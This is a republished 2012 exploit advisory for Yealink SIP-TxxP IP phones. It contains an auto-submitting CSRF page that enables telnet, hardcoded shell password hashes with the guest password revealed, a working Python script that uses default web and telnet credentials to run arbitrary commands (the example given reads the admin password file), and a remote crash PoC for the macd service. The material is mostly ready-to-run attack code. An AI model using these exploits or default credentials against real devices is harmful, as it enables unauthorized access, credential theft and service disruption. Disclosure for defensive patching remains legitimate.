YeaLink IP Phone SIP-TxxP firmware <= 9.70.0.100 Vulnerabilities

🗓️ 21 Dec 2012 00:00:00Reported by xistenceType
zdt🔗 0day.today👁 31 Views
YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 Multiple Vulnerabilitie
#+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title     : YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 Multiple Vulnerabilities
# Date              : 12-21-2012
# Author            : xistence (xistence<[AT]>0x90.nl)
# Software link     : http://yealink.com/SupportDownloadfiles_detail.aspx?ProductsID=64&CateID=187&flag=142
# Vendor site       : http://yealink.com
# Version           : 9.70.0.100 and lower
# Tested on         : YeaLink IP Phone SIP-T20P (hardware VoIP phone)
#
# Vulnerability     : Multiple Vulnerabilities as described below
#
#+--------------------------------------------------------------------------------------------------------------------------------+
 
[0x01] - Hidden page to enable telnet + CSRF
 
The hidden page http://<IP>/cgi-bin/ConfigManApp.com?Id=10 contains an option to enable Telnet on the phone. Only the "admin" user can access this page.
However the unprivileged user "user" can post directly to ConfigManApp.com and enable Telnet. This default user "user" has the password "user" and is unlikely to be changed by a user.
 
Also CSRF to enable this is possible:
 
<html>
<head>
<title>Enable Telnet</title> </head>
<body>
<form name="csrf" action="http://<IP>/cgi-bin/ConfigManApp.com" method="post">
<input type="hidden" name="PAGEID" value="10"/>
<input type="hidden" name="CONFIG_DATA" value="1%261%261%261%260%261%261%260%261%261%260%26%260%260%260%260%260%261%261%260%260"/>
</form>
<script> document.csrf.submit(); </script>
</body>
</html>
 
 
[0x02] - Default telnet shell users + passwords
 
The shell users are hardcoded in the firmware images and are always the same and can't be changed through the webinterface. So after enabling telnet through the hidden page shell access could go unnoticed.
 
/etc/passwd:
root:x:0:0:Root,,,:/:/bin/sh
admin:x:500:500:Admin,,,:/:/bin/sh
guest:x:501:501:Guest,,,:/:/bin/sh
 
/etc/shadow:
root:$1$IJZx7biF$BgyHlA/AgR27VSEBALpqn1:11876:0:99999:7:::
admin:$1$Bwt9zCNI$7rGLYt.wk.axE.6FUNFZe.:11876:0:99999:7:::
guest:$1$A3lIJ0aO$Is8Ym.J/mpNejleongGft.:11876:0:99999:7::: <- password is "guest"
 
/etc/group:
root:x:0:admin,root
guest:x:1:guest
 
The file "/tmp/.htpasswd" is world readable and contains the "admin" password for the web interface.
 
 
[0x03] - Exploit
 
The following exploit logs in with the unprivileged user "user" and password "user" in the web interface. Here it enables telnet, logs in with the default user "guest" and password "guest" and executes the shell command specified.
An example is to do a "cat /tmp/.htpasswd" to retrieve the admin password for the web interface.
 
 
#!/usr/bin/python
 
import urllib, urllib2, getpass, sys, telnetlib
 
print ""
print "[*] YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 hidden page telnet enabler + default guest shell account command execution - xistence (xistence<[at]>0x90.nl) - 2012-12-21"
print ""
if (len(sys.argv) != 3):
    print "[*] Usage: " + sys.argv[0] + " <IP of Phone> <command to execute>"
    print "[*] i.e.:" + sys.argv[0] + " 127.0.0.1 \"cat /tmp/.htpasswd\""
    print ""
    exit(0)
 
phoneIP = sys.argv[1]
shellCmd = sys.argv[2]
 
phoneUrl = 'http://%s/cgi-bin/ConfigManApp.com' % phoneIP
webUser = 'user'
webPass = 'user'
telnetUser = 'guest'
telnetPass = 'guest'
 
passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
passman.add_password(None, phoneUrl, webUser, webPass)
authhandler = urllib2.HTTPBasicAuthHandler(passman)
opener = urllib2.build_opener(authhandler)
urllib2.install_opener(opener)
post_params = urllib.urlencode([("PAGEID", "10"), ("CONFIG_DATA", "1%261%261%261%260%261%261%260%261%261%260%26%260%260%260%260%260%261%261%260%260")])
 
print "[*] Enable telnet on [ %s ] by posting directly to the hidden page with PAGEID=10 parameter as unprivileged user [ user ]" % phoneUrl
pagehandle = urllib2.urlopen(phoneUrl, post_params)
 
print "[*] Making telnet connection to [ %s ] with default user [ %s ] and password [ %s ]" % ( phoneIP, telnetUser, telnetPass )
tn = telnetlib.Telnet(phoneIP)
 
tn.read_until("IPPHONE login: ")
tn.write(telnetUser + "\n")
if telnetPass:
    tn.read_until("Password: ")
    tn.write(telnetPass + "\n")
 
tn.read_until("$")
print "[*] Executing shell command [ %s ]" % shellCmd
tn.write( shellCmd + '\n' )
tn.read_until( shellCmd )
print tn.read_until("$").strip("$ ")
tn.write("exit\n")
tn.read_all()
 
 
[0x04] - Remote "/yealink/bin/macd" buffer overflow crash PoC
 
The following PoC exploit will crash the "/yealink/bin/macd" process on port "12345"
 
 
 
#!/usr/bin/python
  
import socket,sys,time,struct
  
if len(sys.argv) < 2:
     print "[*] YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 /yealink/bin/macd remote buffer overflow crash PoC - xistence (xistence<[at]>0x90.nl) - 2012-12-21"
     print "[-] Usage: %s <target addr> " % sys.argv[0]
       
     sys.exit(0)
  
target = sys.argv[1]
  
if len(sys.argv) > 2:
     platform = sys.argv[2]
  
buffer = "\x41"*75
  
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
    s.connect((target,12345))
except:
    print "[-] Connection to "+target+" failed!"
    sys.exit(0)
 
print "[*] YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 /yealink/bin/macd remote buffer overflow crash PoC - xistence (xistence<[at]>0x90.nl) - 2012-12-21"
print "[*] Sending " + `len(buffer)` + " byte crash"
  
s.send(buffer + "\r\n")
s.recv(1024)

#  0day.today [2018-01-04]  #
21 Dec 2012 00:00Current
7.1High risk
Vulners AI Score7.1